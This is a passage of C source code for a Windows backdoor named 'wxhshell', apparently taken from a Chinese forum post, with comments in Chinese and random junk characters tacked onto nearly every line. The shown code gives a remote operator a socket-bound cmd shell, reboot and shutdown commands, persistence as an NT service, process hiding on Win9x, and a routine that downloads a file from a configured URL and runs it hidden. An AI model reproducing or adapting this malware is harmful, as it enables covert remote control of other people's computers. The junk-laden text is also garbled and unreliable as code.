  // 帮助 Q)" Nu.m &  
  case '?': { 7k9G(i[-+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c[4i9I3v  
    break; `e|0g"oP  
  } <vh/4  
  // 安装 kJzoFFWo$  
  case 'i': { '~[d=fwH  
    if(Install()) e2t-4} ww  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QaS7z#/?.  
    else dDGgvi|[Mz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EwC{R`  
    break; 33ef/MElD$  
    } -vR5BMy=  
  // 卸载 '\ey<}?5V  
  case 'r': { A1D^a,  
    if(Uninstall()) 9m<jcxla$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PHXZ=A+  
    else `c5"d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :'3XAntZA  
    break; X=!^] 3zH  
    } G{ sOR  
  // 显示 wxhshell 所在路径 ^*8G8'k;$  
  case 'p': { 4C-jlm)V  
    char svExeFile[MAX_PATH]; E2@65b$  
    strcpy(svExeFile,"\n\r"); Q<'nE  
      strcat(svExeFile,ExeFile); -tHU6s,  
        send(wsh,svExeFile,strlen(svExeFile),0); o+QE8H43  
    break; Mg OR2,cR  
    } YY)s p%  
  // 重启 S=<}:#;u0  
  case 'b': { E.ly#2?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ceM6{N<_U  
    if(Boot(REBOOT)) |_*O'#jx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  TYmP)  
    else { %Yicg6:  
    closesocket(wsh); eg?<mKrZ  
    ExitThread(0); gp^ 5#  
    } d + /&?3  
    break; wNtx]t_M  
    } 5rRN-  
  // 关机 h[1MtmNw  
  case 'd': { TI#''XCB5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?hM>mL  
    if(Boot(SHUTDOWN)) 28H8l2{[>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (?`kYTw7g'  
    else { V_RTI.3p  
    closesocket(wsh); dC $Em@Nb  
    ExitThread(0); d`nVc50  
    } 8:>1F,  
    break; OjF_ %5  
    } Ib\iT:AJ  
  // 获取shell 9:,\gw>F  
  case 's': { | e?64%l5P  
    CmdShell(wsh); 3'qJ/*]9  
    closesocket(wsh); -/cZeQDPb  
    ExitThread(0); ang~<  
    break; Xr2ou5zAn  
  } . DR<Te  
  // 退出 %K` % *D  
  case 'x': { Y/ee~^YxK'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WObvbaK  
    CloseIt(wsh); Vf'd*-_!Q<  
    break; Jd(,/q  
    } | 8=nL$u  
  // 离开 ,:`4%  
  case 'q': { a1.Ptf eW|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _$f9]bab  
    closesocket(wsh); \ 3?LqJ  
    WSACleanup(); U,gti,IX^  
    exit(1); P h}|dGb  
    break; %D8ZO0J7H  
        } X4t s)>"d  
  } ;A'Z4=*~  
  } 2 :mn</z  
I8<,U!$  
  // 提示信息 2Sp=rI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pN9A{v(  
} %8Dz o  
  } a{J,~2>  
dBe`p5Z  
  return; oiyzHx  
} Tp?y8r  
s]mY*@a%  
// shell模块句柄 9^Whg ~{  
int CmdShell(SOCKET sock) >teO m?@U  
{ \ZhfgE8{%  
STARTUPINFO si; {h2TD P  
ZeroMemory(&si,sizeof(si)); pT1[<X!<s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S_v'hlrrT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9Xl5@%uz?z  
PROCESS_INFORMATION ProcessInfo; 0=q;@OIf  
char cmdline[]="cmd"; `|#Qx3n%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RE=+ Dz{  
  return 0; S.Ma$KL~'^  
} 'd&0Js$^  
\nB8WSvk2W  
// 自身启动模式 4jBC9b}O  
int StartFromService(void) 'GoZqiYT  
{ Da:unVbU  
typedef struct Ck@J,~x1D  
{ mp?78_I)  
  DWORD ExitStatus; 3=$q  
  DWORD PebBaseAddress; >sjhA|gXk  
  DWORD AffinityMask; /K{9OT@>  
  DWORD BasePriority; !F4@KAv  
  ULONG UniqueProcessId; 6"t;gSt 4  
  ULONG InheritedFromUniqueProcessId; VY"9?2?/  
}   PROCESS_BASIC_INFORMATION; Ra/Ukv_v  
RJH,  
PROCNTQSIP NtQueryInformationProcess; .8uz 6~  
C?=P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _s$_Sa ;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hf<^/@^tK  
.tmiQ.  
  HANDLE             hProcess; N!x =eC  
  PROCESS_BASIC_INFORMATION pbi; 6uKMCQ=h  
/c-r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~-t>z  
  if(NULL == hInst ) return 0; UMp/ \&0  
EVUq--)~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ELjK0pE}-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lz0TK)kuC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .R8 HZ}3  
$DC*i-}qFg  
  if (!NtQueryInformationProcess) return 0; iy\nio`  
wHv]ViNvXE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3bd5FsI^pU  
  if(!hProcess) return 0; \U?n+6 7g  
~h=X8-D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ',4x$qe  
|U k" {  
  CloseHandle(hProcess); TLf9>= OVh  
F@!Td(r2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qG/fE'(j&  
if(hProcess==NULL) return 0; pdb1GDl0q  
CGP3qHrXt  
HMODULE hMod; %?hsoj&k  
char procName[255]; m8JR@!t7  
unsigned long cbNeeded; T y@=yA17  
,j ',x\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "ZHtR/;  
\[>9UC%  
  CloseHandle(hProcess); %|l8f>3[  
%q322->Z  
if(strstr(procName,"services")) return 1; // 以服务启动 (zYy }g#n  
$W42vjr4  
  return 0; // 注册表启动 BtdXv4V  
} sz):oea@f@  
7"*|2Xq  
// 主模块 \mN[gT}LHm  
int StartWxhshell(LPSTR lpCmdLine) y3;q_4.  
{ G02m/8g3  
  SOCKET wsl; }o,z!_^PLQ  
BOOL val=TRUE; +P`(Rf"luu  
  int port=0; \#x}q'BC4  
  struct sockaddr_in door; V*$L;xbC|  
!b-bP,q  
  if(wscfg.ws_autoins) Install(); rf9_eP  
pA#}-S%  
port=atoi(lpCmdLine); (|fm6$  
z ggB$5  
if(port<=0) port=wscfg.ws_port; )g@S%Yu  
l0Ti Z  
  WSADATA data; a!c[!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W~B5>;y  
1fL<&G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5NXt$k5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aSYs_?&.  
  door.sin_family = AF_INET; zMK](o1Vj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &MgeYpd  
  door.sin_port = htons(port); \hP=-J[~C  
jN+N(pIi.o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 68'>Zbelb  
closesocket(wsl); 7C?.L70ZY  
return 1; 3%<C<(  
} MuEy>dl  
L1)@z8]   
  if(listen(wsl,2) == INVALID_SOCKET) { tue/4Q#7  
closesocket(wsl); =vh8T\  
return 1; =FBpo2^QB;  
} qkP/Nl. u  
  Wxhshell(wsl); /WnE:3G  
  WSACleanup(); N<_Ko+VF  
snp v z1iS  
return 0; d2ENm%q*PX  
[{<dbW\ 9  
} 6a>H|"P NE  
W*xX{$NL  
// 以NT服务方式启动 4R) |->"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <3O T>E[  
{ "!Rw)=7O  
DWORD   status = 0; IdRdW{o  
  DWORD   specificError = 0xfffffff; FF Gqa&  
bYh9sO/l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zyN (4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EZ(^~k=I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }Ewo_P&`  
  serviceStatus.dwWin32ExitCode     = 0; SLk2X;c]o  
  serviceStatus.dwServiceSpecificExitCode = 0; *R`MMm  
  serviceStatus.dwCheckPoint       = 0; PG)_L.7rJ  
  serviceStatus.dwWaitHint       = 0; K2/E#}/  
f!-Sz/c#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gwd{#7FM`  
  if (hServiceStatusHandle==0) return; HrqF![_  
c! H 9yk  
status = GetLastError(); r.FLGD U  
  if (status!=NO_ERROR) ~k4W<   
{ ^,2c-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5y_"  
    serviceStatus.dwCheckPoint       = 0; 2N6=8Xy 5K  
    serviceStatus.dwWaitHint       = 0; o;-<|W>  
    serviceStatus.dwWin32ExitCode     = status; }Pg' vJW  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0v"&G<J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wc#:f 8dr  
    return; H^CilwD158  
  } mR":z|6  
'%3{jc-}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LnMwx#^*  
  serviceStatus.dwCheckPoint       = 0; ,\h YEup  
  serviceStatus.dwWaitHint       = 0; _Nu` )m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I Ru$oF}  
} }NX\~S"  
liNON  
// 处理NT服务事件,比如:启动、停止 H$-$2?5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1BD6 l2y  
{ + >sci  
switch(fdwControl) VvgN3e[  
{ 2%]hYr;  
case SERVICE_CONTROL_STOP: A"/aGCG0z  
  serviceStatus.dwWin32ExitCode = 0; >7>7/7=O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %9c|%#3  
  serviceStatus.dwCheckPoint   = 0; }?O[N}>,m  
  serviceStatus.dwWaitHint     = 0; Yn[x #DS  
  { Jc~E"x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J7a-CI_Tf  
  } y-`I) w%  
  return; /.Wc_/  
case SERVICE_CONTROL_PAUSE: Io+IRK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lfMH1llx  
  break; K M]Wl_z  
case SERVICE_CONTROL_CONTINUE: L^KdMMz;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $k(9 U\y-  
  break; o#d$[oa  
case SERVICE_CONTROL_INTERROGATE: 8)Tj H'  
  break; 1e$[p[  
}; L+Nsi~YVq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qU6BA \ZL  
} O~Uw&Bq  
1XnBK$`  
// 标准应用程序主函数 nJ# XVlHc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >7FSH"8[,  
{ -g2{68 1`r  
G(i\'#5+  
// 获取操作系统版本 l Z~+u  
OsIsNt=GetOsVer(); t61'LCEis  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [>uwk``_  
iy 3DX|]  
  // 从命令行安装 [oHOHp/V  
  if(strpbrk(lpCmdLine,"iI")) Install(); Pw #2<>  
M-91 JOt~  
  // 下载执行文件 M]s[ "0O  
if(wscfg.ws_downexe) { ],V kp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ag/u8  
  WinExec(wscfg.ws_filenam,SW_HIDE); <<BQYU)Ig  
} lIy/;hIc  
xhD$e= g  
if(!OsIsNt) { ?HxS)Pqq  
// 如果时win9x,隐藏进程并且设置为注册表启动 [xS5z1;  
HideProc(); JE%i-UVH+;  
StartWxhshell(lpCmdLine); l_sg)Vr/b  
} v=bv@c  
else >\-3P $  
  if(StartFromService()) Hrv),Ce  
  // 以服务方式启动 wL|7mMM,  
  StartServiceCtrlDispatcher(DispatchTable); hd=j56P5P  
else I! ITM<Z$l  
  // 普通方式启动 &.*T\3UO  
  StartWxhshell(lpCmdLine); <\xQ7|e  
@{de$ ODu  
return 0; \1khyF'  
}
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只看该作者 1 发表于: 2006-10-10
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